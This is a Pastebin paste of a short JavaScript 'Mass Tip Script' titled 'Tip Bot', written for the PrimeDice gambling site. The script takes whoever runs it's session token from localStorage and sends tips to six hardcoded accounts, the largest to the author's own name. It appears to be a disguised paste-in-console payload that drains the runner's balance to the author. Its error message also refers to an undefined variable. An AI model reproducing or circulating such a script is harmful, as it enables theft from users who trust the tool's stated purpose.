Advertisement
CrimsonNoble

Tip Bot

Mar 10th, 2015
183
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2. CrimsonNoble's Mass Tip Script.
  3. */
  4. var tipList ={
  5.     "CrimsonNoble":500000,
  6.     "singpays"    :100000,
  7.     "densecrab"   :100000,
  8.     "burnzy"      :100000,
  9.     "hui"         :100000,
  10.     "rainbot"     :100000
  11. };
  12. Object.keys(tipList).forEach(function(key){  
  13.   tip(key,tipList[key]);
  14. });  
  15. function tip(username, amount){
  16.   $.post("https://api.primedice.com/api/tip?access_token="+localStorage.token,{username: username, amount: amount}).fail(function(){
  17.   alert("error: Username: " + username + tipped + " Transaction Failed!");
  18.   });
  19. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement